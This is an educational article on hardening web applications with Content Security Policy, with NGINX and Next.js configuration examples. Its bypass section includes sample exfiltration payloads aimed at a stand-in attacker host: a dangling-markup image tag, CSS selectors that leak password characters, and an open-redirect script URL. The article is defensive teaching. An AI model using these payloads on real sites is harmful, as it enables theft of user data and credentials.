Content Security Policy (CSP): The Definitive Guide to Web Application Hardening

Modern web browsers are incredibly powerful platforms capable of running complex applications. However, this power comes with significant security risks. Web applications handle sensitive user data, authenticate transactions, and display dynamic content. Consequently, they are primary targets for malicious actors seeking to exploit vulnerabilities. Among the various client-side attack vectors, injection-based vulnerabilities remain the most persistent and damaging. Traditionally, developers relied on input sanitization and output encoding to mitigate these risks. While these practices are essential, they are not foolproof. A single overlooked input field can expose an entire application to compromise. To address this challenge, the security community introduced Content Security Policy (CSP). CSP provides a robust, declarative security layer that operates directly within the browser. This article provides an in-depth exploration of Content Security Policy. We will cover what CSP is, how it enforces security at the browser level, the common techniques hackers use to bypass it, and the best practices for implementing it successfully.


What Is Content Security Policy (CSP)?

Content Security Policy is an HTTP response header that instructs the browser on which resources are authorized to load and execute. It acts as a security policy defined by the site administrator and enforced by the user's browser. By restricting the origin of active content, CSP limits the impact of cross-site scripting (XSS) and other data-injection attacks.

To appreciate the necessity of CSP, it is helpful to examine the Same-Origin Policy (SOP). SOP is a foundational security mechanism implemented in all modern web browsers. It dictates that resources loaded from one origin cannot read or write data to another origin. For instance, a script running on https://legitimate-bank.com cannot access cookies or local storage belonging to https://attacker-site.com. However, SOP has a critical limitation: it does not distinguish between legitimate code and injected code within the same origin. If an attacker exploits a vulnerability to inject a malicious script directly into the HTML of https://legitimate-bank.com, the browser executes the script. The browser assumes the script is authorized because it resides within the trusted origin. This is where CSP intervenes. CSP allows developers to declare strict rules regarding what resources can load and execute, regardless of their origin. Even if an attacker successfully injects a malicious script into a page, the browser will refuse to run it unless it complies with the defined security policy. Thus, CSP acts as a second line of defense that mitigates the consequences of injection vulnerabilities.


How CSP Enforces Security

CSP operates by using declarative directives. When a web server serves an HTML document, it includes the Content-Security-Policy header in the HTTP response. Alternatively, developers can define the policy within the document using an HTML <meta> element. However, HTTP headers are preferred because they support the full range of directives, including reporting and framing controls. Once the browser receives the policy, it parses the directives and constructs a security context for the document. Any attempt to load a resource or execute a script that violates the parsed policy is blocked by the browser.

Let's examine the primary directives used to build a security policy.

Core Resource Directives

Resource directives define the allowed origins for specific types of web assets.

  • default-src: This directive defines the fallback policy for resource types that do not have their own explicit directive. If default-src is set to 'self', and img-src is not defined, the browser will only load images from the site's origin.
  • script-src: This is arguably the most critical directive. It specifies the trusted sources for JavaScript files, inline scripts, and dynamic code execution.
  • style-src: This directive controls the sources of Cascading Stylesheets (CSS), including external files and inline style blocks.
  • img-src: This restricts the locations from which images can be fetched and displayed.
  • connect-src: This directive restricts the target URLs for network requests made via fetch, XMLHttpRequest, WebSockets, and EventSource.
  • font-src: This specifies the permitted origins for downloading web fonts.
  • frame-src: This defines the origins that can be embedded as nested browsing contexts (iframes) on the page.
  • object-src: This restricts the use of plugins like Flash, Java, and Silverlight. Modern secure policies set this directive to 'none' to prevent plugin-based exploits.

Navigation and Integration Directives

These directives control form submissions, page framing, and resource references.

  • base-uri: This directive restricts the URLs that can be specified in the <base> element. Without this restriction, an attacker could inject a base tag to redirect all relative URLs to an external server.
  • form-action: This limits the destinations to which forms can submit data, preventing attackers from hijacking forms to harvest credentials.
  • frame-ancestors: This specifies which websites are allowed to embed the current page inside an iframe or frame. This directive is critical for preventing clickjacking attacks and replaces the legacy X-Frame-Options header.

Source List Keywords

Directives use source lists to define allowed origins. In addition to hostnames and schemes, CSP defines several special keywords:

  • 'none': Prevents resources from loading under any circumstances.
  • 'self': Restricts loading to the exact origin of the host document.
  • 'unsafe-inline': Allows the execution of inline scripts and styles. Using this keyword is highly discouraged as it disables the primary security benefits of CSP.
  • 'unsafe-eval': Permits the use of dynamic evaluation functions such as eval(), setTimeout(), and Function().

Cryptographic Nonces and Hashes

To securely allow specific inline scripts without enabling 'unsafe-inline', CSP supports nonces and hashes.

A cryptographic nonce (number used once) is a unique, randomly generated token. The server generates a new nonce for every request and includes it in the CSP header. It then adds a matching nonce attribute to all trusted inline scripts in the HTML. When parsing the page, the browser only executes scripts whose nonce matches the token in the header. Since attackers cannot predict the nonce value for a given request, injected scripts will fail to run.

<!-- Example of a nonced inline script -->
<script nonce="d3FhMjA5MzRmYTIw">
  console.log("This trusted script is allowed to run.");
</script>

A cryptographic hash allows developers to whitelist specific static inline scripts. The developer calculates the SHA-256, SHA-384, or SHA-512 hash of the script content and adds it to the policy. The browser computes the hash of any inline script it encounters and compares it to the hashes in the header. If the hashes match, the script executes.

The Power of 'strict-dynamic'

In complex modern web applications, whitelisting every dynamically loaded third-party script can be challenging. CSP Level 3 introduced the 'strict-dynamic' keyword to simplify this process. When 'strict-dynamic' is included in the script-src directive, it instructs the browser to trust any script loaded by an already trusted script. This trust chain makes it much easier to adopt nonce-based security. Instead of whitelisting multiple external domains, you simply nonce your main application script. The main script can then load all necessary dependencies dynamically without violating the policy.

The CSP Directives Summary Table

The table below summarizes the relationship between core directives and their default fallback behavior.

DirectiveFocus AreaFallback Directive
script-srcJavaScript execution sourcesdefault-src
style-srcCSS stylesheet sourcesdefault-src
img-srcImage assets and iconsdefault-src
connect-srcFetch, XHR, and WebSocket destinationsdefault-src
font-srcWeb fonts and typographydefault-src
object-srcActiveX, Flash, and Java pluginsdefault-src
frame-srcPermitted iframe originsdefault-src
base-uriBase URL target definitionsNone
form-actionForm submission endpointsNone
frame-ancestorsEmbedding parent originsNone

How Hackers Bypass CSP

Content Security Policies are rarely perfect. Many implementations suffer from configuration errors or design flaws that attackers can exploit. Understanding these bypass techniques is essential for creating robust policies.

1. Bypassing Host Whitelists via JSONP Endpoints

Historically, developers whitelisted specific hosts or entire CDNs to load library scripts. For example, a policy might whitelist https://*.googleapis.com or https://cdnjs.cloudflare.com. However, these large domains often host JSONP (JSON with Padding) endpoints. JSONP endpoints are designed to return data wrapped in a user-specified callback function. An attacker can exploit this behavior by injecting a script tag that calls a whitelisted JSONP endpoint and sets the callback to a malicious payload. When the browser loads the script, it executes the callback, running the attacker's code under the trusted domain context. Because the script origin is whitelisted, the browser permits the execution.

2. Client-Side Template Injection (CSTI) Bypasses

Many modern front-end frameworks parse the DOM to locate templates and expressions. AngularJS is a classic example. If a web application loads AngularJS and whitelists its source, an attacker can inject custom templates into the page. Even if the browser blocks raw script injection, AngularJS will parse the HTML, find the template, and evaluate the expressions client-side. This allows the attacker to execute arbitrary JavaScript without injecting actual <script> tags, effectively bypassing the CSP.

3. Exploiting Script Gadgets

A script gadget is a legitimate piece of JavaScript code within a trusted library that can be used to execute arbitrary actions. Libraries like jQuery, RequireJS, and Knockout.js contain helper functions that dynamically execute code. If a page imports these libraries and their source is whitelisted, an attacker can inject specific HTML markup. The whitelisted library parses the markup and executes the payload on behalf of the attacker. Since the browser trusts the library, the execution is allowed, rendering the CSP ineffective.

4. Exploiting Open Redirects Combined with Host Whitelists

Whitelisting hostnames becomes extremely risky when those hosts contain open redirect vulnerabilities. If a developer whitelists https://trusted-site.com, and that site has an open redirect endpoint, an attacker can exploit it. The attacker crafts a script tag pointing to https://trusted-site.com/redirect?url=http://attacker-site.com/malicious.js. The browser initiates the request to the whitelisted domain. When the server responds with a redirect, the browser follows it to the attacker's domain and executes the script. The browser allows this because the initial request targeted a trusted host.

5. Dangling Markup Injection

If script execution is blocked entirely, attackers will often pivot to data exfiltration. Dangling markup injection involves injecting an unclosed HTML tag, such as an image or link, to capture sensitive page contents. For example, an attacker might inject <img src="https://attacker-site.com/log?data=. Because the tag is not closed, the browser treats the rest of the page source as the query parameter of the image source. When the browser attempts to load the image, it transmits the subsequent HTML (which may contain CSRF tokens, session IDs, or personal data) to the attacker's server. This attack is successful if the policy allows image loading from arbitrary hosts or whitelists the attacker's domain.

6. CSS-Based Data Exfiltration

Even without executing JavaScript, attackers can steal data using CSS. By injecting malicious stylesheets, attackers can use CSS attribute selectors to inspect input values. Consider the following CSS rules:

input[value^="a"] {
  background-image: url('https://attacker-site.com/leak?char=a');
}
input[value^="b"] {
  background-image: url('https://attacker-site.com/leak?char=b');
}

When a user types their password, the browser matches the input value against these selectors. When a match occurs, the browser requests the corresponding background image, exfiltrating the character to the attacker's server. Since many policies do not restrict stylesheet origins or allow arbitrary image loads, this vector is highly practical.


Best Practices for Websites

Implementing CSP requires a careful balance between security and functionality. A policy that is too loose offers no protection, while a policy that is too strict will break application features. Follow these best practices to build a secure, modern CSP.

1. Adopt a Strict CSP Model

Traditional host whitelists are structurally insecure due to JSONP and open redirect bypasses. Therefore, developers should adopt a nonce-based "Strict CSP" model. A Strict CSP relies on a single cryptographic nonce to authorize script execution and utilizes 'strict-dynamic' for dependencies.

A secure, modern script-src policy looks like this:

Content-Security-Policy:
  object-src 'none';
  script-src 'nonce-random_nonce_value' 'strict-dynamic' https: 'unsafe-inline';
  base-uri 'none';

In this policy, modern browsers ignore the https: and 'unsafe-inline' fallbacks because they recognize 'strict-dynamic'. They will only execute scripts that carry the matching nonce. Older browsers that do not support CSP Level 3 will ignore 'strict-dynamic' and fall back to trusting HTTPS domains and inline scripts. This approach guarantees maximum security on modern browsers while maintaining backward compatibility.

2. Generate Strong, Non-Reusable Nonces

Nonces must be cryptographically secure and generated dynamically for every single page request. Use a cryptographically secure pseudo-random number generator (CSPRNG) to create the nonce. The nonce should have at least 128 bits of entropy and be encoded in Base64. Never hardcode the nonce or reuse it across multiple requests. If an attacker can predict the nonce, they can craft payloads that bypass your policy entirely. Ensure that pages with dynamic nonces are not cached by intermediate proxies or public CDNs. Use the Vary: Content-Security-Policy header to prevent cache pollution.

3. Restrict Plugin Content and Base URLs

Always define object-src 'none' to block Flash, Java, and other browser plugins. These technologies are obsolete and present significant attack surfaces. Similarly, set base-uri 'none' or base-uri 'self' to prevent base-tag hijacking. Failing to restrict the base URL allows attackers to redirect relative resource paths to external domains.

4. Prevent Framing and Form Hijacking

To protect your users from clickjacking, use the frame-ancestors directive. If your page does not need to be embedded in an iframe on other websites, set frame-ancestors 'none'. If framing is required, restrict it to the same origin using frame-ancestors 'self'. To prevent credential harvesting and form redirection, use the form-action directive. Restricting form actions to 'self' prevents attackers from modifying form submission targets to point to malicious servers.

5. Leverage Report-Only Mode for Transitioning

Deploying a CSP on an existing website can break features if legitimate scripts are blocked. To avoid disruptions, implement the policy using the Content-Security-Policy-Report-Only header first. This header allows the browser to run scripts normally but instructs it to send violation reports to a specified endpoint.

Content-Security-Policy-Report-Only:
  default-src 'self';
  script-src 'nonce-random_nonce_value' 'strict-dynamic';
  report-to csp-endpoint;

Monitor the violation reports for several weeks to identify legitimate assets that violate the policy. Once you have adjusted the policy to cover all legitimate use cases, switch to the active Content-Security-Policy header.

6. Automated Testing and CI/CD Integration

Do not rely solely on manual testing to verify your CSP. Use the Google CSP Evaluator tool to inspect your headers for configuration weaknesses. Furthermore, integrate CSP validation into your CI/CD pipeline. Automated tools can scan your application's response headers during integration tests and alert developers if a policy has been weakened.


Code Configurations for Popular Environments

Here are practical implementation examples for setting CSP headers across different environments.

1. NGINX Server Configuration

To apply a CSP header to all responses in NGINX, add the add_header directive to your server block:

# nginx.conf
server {
    listen 443 ssl;
    server_name example.com;
 
    # Apply CSP header
    add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-NGINX_NONCE_PLACEHOLDER'; object-src 'none'; base-uri 'none'; frame-ancestors 'none';" always;
}

2. Next.js App Router Middleware (Dynamic Nonce Generation)

To implement a dynamic nonce-based policy in Next.js, generate the nonce in your middleware and append it to both the request and response headers.

// middleware.ts
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';
 
export function middleware(request: NextRequest) {
  // Generate a random 128-bit nonce
  const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
  
  // Define strict policy
  const cspHeader = `
    default-src 'self';
    script-src 'nonce-${nonce}' 'strict-dynamic';
    style-src 'self' 'nonce-${nonce}';
    img-src 'self' blob: data:;
    font-src 'self';
    object-src 'none';
    base-uri 'none';
    form-action 'self';
    frame-ancestors 'none';
  `;
 
  // Clone headers and set nonce for server component consumption
  const requestHeaders = new Headers(request.headers);
  requestHeaders.set('x-nonce', nonce);
  requestHeaders.set('Content-Security-Policy', cspHeader.replace(/\s{2,}/g, ' ').trim());
 
  // Set header on response
  const response = NextResponse.next({
    request: {
      headers: requestHeaders,
    },
  });
  
  response.headers.set('Content-Security-Policy', cspHeader.replace(/\s{2,}/g, ' ').trim());
  return response;
}

Conclusion

Content Security Policy is one of the most effective security controls available for protecting web applications. While it is not a replacement for writing secure code, it acts as a critical line of defense. If an attacker discovers an injection vulnerability, a robust CSP prevents them from exploiting it to execute code or steal data. As web technology continues to evolve, security models must adapt. By shifting away from fragile host whitelists to cryptographic nonces, developers can build policies that resist common bypass vectors. Combining these practices with diligent monitoring and automated testing ensures that your applications remain secure in a hostile threat landscape.

Keep in mind: CSP is fundamentally a browser-enforced security mechanism. If an attacker controls the browser itself — or uses a modified/custom browser — they can bypass CSP entirely.

Love it? Share this article: